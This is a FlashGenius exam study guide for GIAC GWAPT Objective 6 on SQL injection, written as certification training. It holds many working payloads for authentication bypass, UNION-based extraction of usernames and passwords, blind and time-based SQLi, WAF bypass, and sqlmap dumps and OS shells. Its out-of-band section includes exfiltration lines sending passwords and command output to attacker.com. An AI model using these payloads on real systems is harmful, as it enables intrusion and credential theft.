FlashGenius Logo FlashGenius
GWAPT Objective 6 of 8 โ€” SANS SEC542

SQL Injection Attacks
GIAC GWAPT Exam Study Guide

In-band, blind, out-of-band, and second-order SQLi. SQLMap mastery, WAF bypass, and database-specific syntax for MySQL, MSSQL, PostgreSQL, and Oracle.

82
Exam Questions
71%
Passing Score
3 hrs
Time Limit
4 yrs
Cert Validity
โ˜… Objective 6: Web Application SQL Injection Attacks
GWAPT Exam Overview
GIAC Web Application Penetration Tester โ€” Objective 6 Focus
๐Ÿ’‰
Why SQL Injection matters on the GWAPT exam: SQLi remains the #1 most critical web application vulnerability class. Objective 6 is one of 8 exam objectives and directly tested with CyberLive lab scenarios โ€” not just multiple choice. You must be able to both identify and exploit SQLi in a live environment.

Exam Profile

82
Questions
3 hrs
Duration
71%
Passing Score
4 yrs
Cert Validity
SEC542
SANS Training
CyberLive
Format (Live Labs)
๐Ÿ’ป
CyberLive format: Part of the exam is conducted in a live, hands-on lab environment. You will be asked to perform actual web application penetration testing tasks โ€” not just answer theory questions. For Objective 6 this means running SQLMap, crafting manual payloads, and interpreting responses. Proctored via ProctorU or Pearson VUE.

All 8 GWAPT Objectives

#ObjectiveThis Page
1Web Application Overviewโ€”
2Reconnaissance and Mappingโ€”
3Web Application Configuration Testingโ€”
4Web Application Authentication Attacksโ€”
5Web Application Session Managementโ€”
โ˜… 6Web Application SQL Injection Attacksโœ“ You are here
7Cross-Site Request Forgery, XSS & Client Injection Attacksโ€”
8Web Application Testing Toolsโ€”

SQLi Objective 6 โ€” What You Must Know

Discovery
Identifying injection points, initial test payloads, reading error messages, understanding where to inject (params, headers, cookies, JSON).
In-Band Techniques
Error-based extraction (EXTRACTVALUE, UPDATEXML, CONVERT) and UNION-based attacks โ€” column count, printable columns, data extraction.
Blind Techniques
Boolean-based and time-based blind SQLi โ€” inferring data from response differences or timing delays. SLEEP(), WAITFOR DELAY, pg_sleep().
Advanced & Tools
Out-of-band (DNS/HTTP exfiltration), second-order SQLi, SQLMap flags and usage, DB-specific syntax, WAF bypass, parameterized query defenses.
SQL Injection โ€” Concepts & Techniques
Discovery โ†’ Error-Based โ†’ UNION-Based โ†’ Boolean Blind โ†’ Time Blind โ†’ OOB โ†’ Second-Order โ†’ SQLMap โ†’ DB Syntax โ†’ WAF Bypass โ†’ Prevention

What is SQL Injection?

SQL injection (SQLi) occurs when user-supplied input is incorporated into a SQL query without proper sanitization, allowing an attacker to modify the query's logic. It can lead to: authentication bypass, data exfiltration, data modification, database OS access, and complete system compromise.

Root cause: String concatenation of user input into SQL queries:

query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

Input admin'-- transforms to:

SELECT * FROM users WHERE username='admin'--' AND password='...'
โ†’ Comments out the password check entirely

Discovery: Identifying SQLi Vulnerabilities

Initial Test Payloads:

  • Single quote ' โ†’ syntax error ("You have an error in your SQL syntax")
  • Double quote " โ†’ same effect in some DBs
  • Comment sequences: --, # (MySQL), /**/
  • Boolean tautology: ' OR '1'='1, ' OR 1=1--
  • Boolean contradiction: ' AND 1=2-- โ†’ should return no results if vulnerable
  • Time delay: '; SLEEP(5)-- (MySQL), '; WAITFOR DELAY '0:0:5'-- (MSSQL)

Where to Inject:

  • GET/POST parameters: ?id=1', form fields
  • HTTP headers: User-Agent, Referer, X-Forwarded-For, Cookie values
  • JSON/XML body parameters in APIs
  • Search functionality, sort/filter parameters, order-by clauses
๐Ÿ’ก
Error-based fingerprinting: MySQL โ†’ "You have an error in your SQL syntax; check the manual..." | MSSQL โ†’ "Unclosed quotation mark after the character string" | Oracle โ†’ "ORA-00907: missing right parenthesis". If no errors visible, switch to blind techniques.

Type 1: In-Band โ€” Error-Based

Extract data through database error messages. The error message itself contains the extracted data.

MySQL โ€” EXTRACTVALUE()
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
โ†’ Error: XPATH syntax error: '~5.7.32-0ubuntu0.18.04.1'
MySQL โ€” UPDATEXML()
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT database())), 1) --
MSSQL โ€” CONVERT()
' AND 1=CONVERT(int, (SELECT @@version)) --
โ†’ Conversion error embeds version string in message

Type 2: In-Band โ€” UNION-Based

Append attacker-controlled SELECT to original query. Results are returned in the same HTTP response. Must match column count and compatible types.

Step 1 โ€” Find number of columns
' ORDER BY 1--   ' ORDER BY 2--   ' ORDER BY 3--    (increment until error)
' UNION SELECT NULL--   ' UNION SELECT NULL,NULL--    (add NULLs until success)
Step 2 โ€” Find printable (string) column
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
Step 3 โ€” Extract data
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Concatenation (single printable column)
' UNION SELECT concat(username,':',password),NULL FROM users--    -- MySQL
' UNION SELECT username||':'||password,NULL FROM users--            -- Oracle/PostgreSQL
' UNION SELECT username+':'+password,NULL FROM users--              -- MSSQL
๐Ÿ“Œ
UNION key rule: The appended SELECT must have the same number of columns as the original query AND compatible data types. Use NULL placeholders for unknown columns โ€” NULL is compatible with any type.

Type 3: Blind โ€” Boolean-Based

No output visible. Different application responses (content, length, status) for TRUE vs FALSE conditions allow extracting data one character at a time.

Setup โ€” confirm boolean response difference
?id=1' AND 1=1--    โ†’ normal page  (TRUE)
?id=1' AND 1=2--    โ†’ empty/error  (FALSE)
Data extraction character by character
?id=1' AND SUBSTRING((SELECT database()),1,1)='a'--    โ†’ TRUE = first char is 'a'
?id=1' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--  โ†’ binary search on ASCII
Auth bypass (classic)
username: admin'--
password: anything
โ†’ SELECT * FROM users WHERE username='admin'--' AND password='...'
โ†’ Password check commented out โ†’ logged in as admin

Type 4: Blind โ€” Time-Based

No visible response difference. Data is inferred from response time delay. Useful when application always returns the same page regardless of query result.

MySQL โ€” SLEEP()
?id=1' AND SLEEP(5)--
?id=1' AND IF(1=1, SLEEP(5), 0)--
?id=1' AND IF(SUBSTRING((SELECT database()),1,1)='d', SLEEP(5), 0)--
MSSQL โ€” WAITFOR DELAY
?id=1'; WAITFOR DELAY '0:0:5'--
?id=1'; IF (1=1) WAITFOR DELAY '0:0:5'--
PostgreSQL โ€” pg_sleep()
?id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
Oracle โ€” heavy query (no sleep function)
?id=1' AND 1=1 AND (SELECT COUNT(*) FROM all_objects,all_objects,all_objects)>0--

Type 5: Out-of-Band (OOB)

Data exfiltrated over a different channel (DNS, HTTP) when in-band methods are blocked. Requires outbound connectivity from the DB server.

MySQL โ€” DNS via LOAD_FILE()
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))--
โ†’ DNS lookup for <password>.attacker.com captured in DNS logs
MSSQL โ€” xp_cmdshell HTTP exfil
'; EXEC xp_cmdshell('powershell -c "Invoke-WebRequest -Uri http://attacker.com/?data=$(whoami)"')--
Oracle โ€” UTL_HTTP
' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)) FROM dual) IS NOT NULL--
๐Ÿ’ก
When to use OOB: WAF blocks in-band responses, application always returns the same response, or the target DB server has outbound DNS/HTTP access. Requires external infrastructure (Burp Collaborator, interactsh, your own VPS).

Type 6: Second-Order SQL Injection

Malicious payload stored in the database, then executed later when retrieved and used unsafely in another query โ€” without re-sanitization.

Example scenario
1. Register username: admin'--
2. App escapes on INSERT: INSERT INTO users (username) VALUES ('admin''--')  โ† stored safely
3. Profile update query: UPDATE users SET email='...' WHERE username='admin'--'
   โ†’ The stored value is used without re-escaping โ†’ SQL injection executes
โš ๏ธ
Key distinction: Input is sanitized at storage time but then trusted when retrieved from the database. The developer assumes data from the DB is safe. This is the defining characteristic that differentiates second-order from first-order SQLi.

SQLMap โ€” Automated SQL Injection Tool

Basic enumeration
sqlmap -u "http://target.com/page?id=1" --dbs                       # enumerate databases
sqlmap -u "http://target.com/page?id=1" -D dbname --tables           # enumerate tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump    # dump table
sqlmap -u "http://target.com/page?id=1" --os-shell                   # OS command shell
POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" -p user
From Burp request file
sqlmap -r request.txt --level=5 --risk=3
Key SQLMap Flags
FlagValuesPurpose
--level1โ€“5Test depth/coverage (5 = most thorough, tests headers, cookies)
--risk1โ€“3Risk of damaging DB (3 = most aggressive, includes UPDATE/DELETE payloads)
--techniqueBEUSTQBlind, Error, Union, Stacked, Time, Query โ€” specify which to use
--dbmsmysql, mssqlโ€ฆSpecify DB type to speed up testing
--batchโ€”Auto-confirm all prompts (non-interactive mode)
--random-agentโ€”Randomize User-Agent header
--tamperscript nameApply WAF bypass transformations (e.g., space2comment, randomcase)
-pparam nameTest only the specified parameter

Database-Specific Syntax Reference

FeatureMySQLMSSQLPostgreSQLOracle
Comment--, #, /**/--, /**/--, /**/--, /**/
Version@@version@@versionversion()v$version
Current DBdatabase()DB_NAME()current_database()ora_database_name
String concatconcat(a,b) or a||ba+ba||ba||b
SubstringSUBSTRING(s,1,1)SUBSTRING(s,1,1)SUBSTRING(s,1,1)SUBSTR(s,1,1)
Sleep/delaySLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)Heavy query
System tablesinformation_schema.tablessysobjectsinformation_schema.tablesall_tables
Columns tableinformation_schema.columnssyscolumnsinformation_schema.columnsall_tab_columns
OS executionUDFxp_cmdshellCOPY TO/FROMUTL_FILE

WAF Bypass Techniques

  • Case variation: SeLeCt, uNiOn
  • Inline comments: UN/**/ION SEL/**/ECT, /*!UNION*/ (MySQL version-specific)
  • URL encoding: %27 for ', %20 for space, %2527 double-encoded '
  • Whitespace alternatives: tabs (%09), newlines (%0a), /**/, +
  • String encoding: CHAR(65) for 'A', 0x61 for 'a' (hex literal)
  • Equivalent functions: MID() for SUBSTRING(), IFNULL() for COALESCE()
  • HTTP parameter pollution: send same parameter twice โ€” WAF checks first, app uses second
  • SQLMap tamper scripts: --tamper=space2comment, --tamper=randomcase, --tamper=between

Prevention โ€” Understanding the Fix

  • Parameterized queries (prepared statements): SELECT * FROM users WHERE id = ? โ€” user input is never part of the query structure, only a parameter value
  • Stored procedures (if parameterized): similar protection when implemented correctly
  • Input validation: whitelist allowed characters; reject ', ", ;, --
  • Least privilege: DB user should only have required permissions (no DROP, no xp_cmdshell)
  • WAF: detect and block SQLi patterns โ€” defense-in-depth, not sole protection
  • Error handling: suppress verbose DB errors; log server-side only
Parameterized query example (Python)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))   # safe
cursor.execute("SELECT * FROM users WHERE id = " + user_id)        # vulnerable
Memory Hooks
Six high-retention mnemonics for GWAPT Objective 6
Hook 1 โ€” SQLi Types
SQLi Types: IBOT
"I'm Blindly Out To trick"
In-band (Error/Union) โ†’ Blind (Boolean/Time) โ†’ Out-of-band โ†’ Trickle (Second-order = stored, then triggered later). When you see a question about SQLi types, cycle through these four families first.
Hook 2 โ€” UNION Steps
UNION-Based: Count The Data
"Count The Data"
Three mandatory steps in order: Count columns (ORDER BY / NULLs) โ†’ find Type (which column is string?) โ†’ extract Data (SELECT real values). Skip any step and your UNION fails. Never guess the column count โ€” always test.
Hook 3 โ€” Time-Based Blind
If the page sleeps, the DB speaks
"Sleepy page = speaking DB"
Time-based blind: you can't see results but you can feel them โ€” a 5-second delay confirms the condition is TRUE. MySQL uses SLEEP(5), MSSQL uses WAITFOR DELAY '0:0:5', PostgreSQL uses pg_sleep(5). Oracle has no sleep โ€” use a heavy cross-join query.
Hook 4 โ€” information_schema
The DB's phone book
"Every DB has a phone book"
information_schema.tables lists every table. information_schema.columns lists every column. Present in MySQL, MSSQL, and PostgreSQL. Oracle uses all_tables and all_tab_columns instead. When in doubt, start here for enumeration.
Hook 5 โ€” WAF Bypass First Move
When WAF blocks, comments attack
"UN/**/ION breaks the wall"
When a WAF blocks your payload, try comment-based obfuscation first: UN/**/ION SEL/**/ECT. WAF regex matches "UNION SELECT" literally โ€” but the DB executes it anyway because comments are whitespace to the parser. Combine with case variation for extra evasion.
Hook 6 โ€” SQLMap Flags
U Drink D Tea Dump
"U Drink D Tea Dump"
-u URL โ†’ --dbs databases โ†’ -D database name โ†’ -T table name โ†’ --dump. This is the exact sequence for full SQLMap enumeration. Add --level=5 --risk=3 for maximum coverage on authorized assessments.
๐ŸŽฏ
CyberLive exam tip: The live lab portion will likely ask you to enumerate a database or extract credentials. Practice the full SQLMap workflow: -u URL --dbs โ†’ -D db --tables โ†’ -D db -T table --dump. Time yourself โ€” 3 hours goes fast with 82 questions plus live labs.
Vignette Quiz
10 scenario-based questions โ€” GWAPT exam style
Question 1 of 10
Flashcards
Click a card to flip it โ€” 8 cards covering key GWAPT SQLi concepts
In-Band SQLi
What is the key difference between error-based and UNION-based SQL injection?
Tap to reveal โ†’
Answer
Error-based: extracts data through DB error messages (EXTRACTVALUE, UPDATEXML, CONVERT). The data appears in the error text itself.

UNION-based: appends a second SELECT statement; results appear inline in the normal response. Requires knowing column count and finding a string column.
Blind SQLi
Boolean-based vs time-based blind SQLi โ€” when do you use each?
Tap to reveal โ†’
Answer
Boolean-based: Use when the app returns different content/length for TRUE vs FALSE. Faster and less detectable.

Time-based: Use when the app always returns the same response regardless of query. Rely on response delay (SLEEP, WAITFOR) to infer data. Slower but works when no visible difference exists.
Second-Order
How does second-order SQLi differ from first-order, and why is it harder to detect?
Tap to reveal โ†’
Answer
First-order: payload injected and executed immediately in the same request.

Second-order: payload stored safely in the DB (escaping applied), then retrieved and used in a later query without re-sanitization โ€” trusting DB data as "safe".

Harder to detect because automated scanners often test input/output of single requests only.
SQLMap
What do SQLMap's --level and --risk flags control?
Tap to reveal โ†’
Answer
--level (1โ€“5): Controls test depth/coverage. Level 1 tests GET/POST params only. Level 5 also tests User-Agent, Referer, Cookie headers โ€” maximum coverage.

--risk (1โ€“3): Controls risk of damaging the database. Risk 1 = safe payloads only. Risk 3 = includes UPDATE/DELETE-based payloads that could modify data. Use --risk=3 only in authorized tests.
Enumeration
What does information_schema.tables contain, and how is it used in SQLi?
Tap to reveal โ†’
Answer
information_schema.tables is a system metadata view available in MySQL, MSSQL, and PostgreSQL. It contains: TABLE_NAME, TABLE_SCHEMA, TABLE_TYPE, etc.

Used in UNION attacks: SELECT table_name FROM information_schema.tables WHERE table_schema=database() to enumerate all tables in the current DB. Oracle equivalent: all_tables.
UNION-Based
How do you determine the column count in a UNION-based attack?
Tap to reveal โ†’
Answer
Method 1 โ€” ORDER BY: ' ORDER BY 1--, ' ORDER BY 2--โ€ฆ increment until an error. The last successful number = column count.

Method 2 โ€” NULL injection: ' UNION SELECT NULL--, ' UNION SELECT NULL,NULL--โ€ฆ add NULLs until success (no error). NULLs are type-compatible with any column.
WAF Bypass
Name three comment-based WAF bypass techniques for SQL injection.
Tap to reveal โ†’
Answer
1. Inline comments: UN/**/ION SEL/**/ECT โ€” splits keyword that WAF regex matches.

2. MySQL version comment: /*!UNION*/ โ€” MySQL executes code inside /*!...*/, WAF may not.

3. Whitespace substitution: Replace spaces with %09 (tab), %0a (newline), or + โ€” WAF may only check for literal spaces.
Prevention
Why do parameterized queries prevent SQL injection completely?
Tap to reveal โ†’
Answer
Parameterized queries (prepared statements) separate SQL code from data. The query structure is compiled first: SELECT * FROM users WHERE id = ?. User input is then passed as a parameter โ€” it is never interpreted as SQL syntax, only as a data value.

No matter what characters (', --, UNION) the input contains, they cannot modify the query structure. This is the only complete defense.
Study Advisor
Five focus areas โ€” click to expand study guidance for each
๐Ÿ”
Discovery & Identification
Payloads, injection points, error fingerprinting
  • Master the initial 6 test payloads โ€” single quote, double quote, comment sequences, boolean tautology, boolean contradiction, time delay
  • Know all injection points โ€” not just GET/POST params but also headers (User-Agent, Referer, X-Forwarded-For), cookies, JSON/XML API bodies, ORDER BY clauses
  • Memorize DB error signatures โ€” MySQL "SQL syntax", MSSQL "Unclosed quotation mark", Oracle "ORA-00907" โ€” these fingerprint the DB type for targeted attacks
  • Practice with Burp Suite โ€” learn to spot SQLi in intercepted requests and use Intruder for automated payload testing
  • GWAPT tip: The CyberLive lab will likely require you to identify an injectable parameter from a real request โ€” practice reading raw HTTP requests
โšก
In-Band Techniques
Error-based and UNION-based attacks
  • Error-based: Know EXTRACTVALUE() and UPDATEXML() for MySQL, CONVERT() for MSSQL. The data appears in the error message โ€” look for it wrapped in the error text
  • UNION three-step drill: Drill column count โ†’ printable column โ†’ data extraction until it's muscle memory. Do not skip steps
  • information_schema enumeration โ€” practice the full chain: tables โ†’ columns โ†’ data for MySQL/PostgreSQL
  • Concatenation syntax โ€” know concat() (MySQL), || (Oracle/PostgreSQL), + (MSSQL) for combining multiple columns into one printable slot
  • Study resource: PortSwigger SQLi Labs โ€” the UNION attack series covers all these steps interactively
๐Ÿ•ณ๏ธ
Blind Techniques
Boolean-based and time-based extraction
  • Boolean setup first: Always confirm TRUE vs FALSE response difference before attempting boolean extraction โ€” no difference means no boolean blind possible
  • Character extraction logic: Understand SUBSTRING(str,pos,len) and ASCII() โ€” extract one character at a time using binary search on ASCII value
  • Time-based syntax by DB: SLEEP(5) MySQL, WAITFOR DELAY '0:0:5' MSSQL, pg_sleep(5) PostgreSQL, heavy cross-join Oracle. These are frequently tested on GWAPT
  • Conditional time delays: IF(condition, SLEEP(5), 0) โ€” this is how you extract data via time-based blind
  • Practice tip: Use SQLMap with --technique=B (boolean) or --technique=T (time) to see the payloads and understand the pattern
๐Ÿ—บ๏ธ
SQLMap Tool Usage
Flags, workflow, and CyberLive practice
  • The five-step workflow: -u URL โ†’ --dbs โ†’ -D dbname --tables โ†’ -D dbname -T tablename --dump. Practice this until automatic
  • --level vs --risk: These are different axes. Level controls coverage breadth (1=just params, 5=headers too). Risk controls payload aggressiveness (1=safe, 3=may modify data)
  • Request file testing: Save Burp requests and use sqlmap -r request.txt โ€” this is realistic exam lab workflow
  • --technique flag: BEUSTQ = Blind, Error, Union, Stacked, Time, Query. Specifying the technique speeds up testing significantly
  • CyberLive: SQLMap is likely to be available in the lab environment. Know its path and basic commands cold
๐Ÿ—„๏ธ
DB-Specific Syntax & WAF Bypass
Cross-database differences and evasion techniques
  • String concatenation matters: concat() vs || vs + โ€” using the wrong one for a DB type will fail silently. Know which DB uses which
  • Sleep functions: This is a high-frequency exam topic. Memorize SLEEP (MySQL), WAITFOR DELAY (MSSQL), pg_sleep (PostgreSQL), heavy query (Oracle)
  • System tables: information_schema works for MySQL/PostgreSQL/MSSQL. Oracle requires all_tables and all_tab_columns. Different syntax, same purpose
  • WAF bypass priority order: (1) comment injection UN/**/ION, (2) case variation, (3) URL encoding, (4) whitespace substitution, (5) SQLMap tamper scripts
  • Second-order detection: Look for user-supplied data that is stored and later used in a profile update, password change, or search feature โ€” these are classic second-order vectors
  • GWAPT exam: DB-specific questions often appear as "which payload works against MSSQL but not MySQL?" โ€” know the differences in sleep, concat, and system table syntax cold
Resources
Official and community resources for GWAPT SQL Injection preparation
๐Ÿ›๏ธ
GIAC GWAPT Official Certification Page
Official exam objectives, registration, and exam guide for the GIAC Web Application Penetration Tester
Visit โ†’
๐ŸŒ
OWASP SQL Injection
Comprehensive reference on SQLi types, impact, prevention, and testing methodology from OWASP
Visit โ†’
๐ŸŽฏ
PortSwigger Web Security Academy โ€” SQL Injection Labs
Hands-on interactive labs covering every SQLi technique: UNION-based, blind, error-based, and more. Free access.
Visit โ†’
๐Ÿค–
SQLMap Official Documentation
Complete SQLMap usage guide โ€” flags, techniques, tamper scripts, and advanced features for automated SQLi testing
Visit โ†’
๐Ÿ“š
PayloadsAllTheThings โ€” SQL Injection
Community-maintained cheat sheet with DB-specific payloads, WAF bypass techniques, and edge cases for all major databases
Visit โ†’
๐ŸŽ“
SANS SEC542: Web App Penetration Testing & Ethical Hacking
The official GWAPT training course. Covers all 8 exam objectives with hands-on labs.
Visit โ†’

Recommended Practice Path for Objective 6

1 Read the OWASP SQLi testing guide to understand all categories conceptually
2 Complete all PortSwigger SQLi labs (UNION, blind, error-based) โ€” free and directly exam-relevant
3 Practice SQLMap against DVWA or BWAPP locally โ€” run every major flag combination
4 Memorize the DB-specific syntax table โ€” especially sleep functions and system table names for each DB
5 Review PayloadsAllTheThings SQLi section for WAF bypass techniques and edge-case payloads
FlashGenius โ€” GWAPT Study Tools

Master All 8 GWAPT Objectives

Flashcards, vignette quizzes, and memory hooks for every topic in SANS SEC542 and the GIAC GWAPT exam.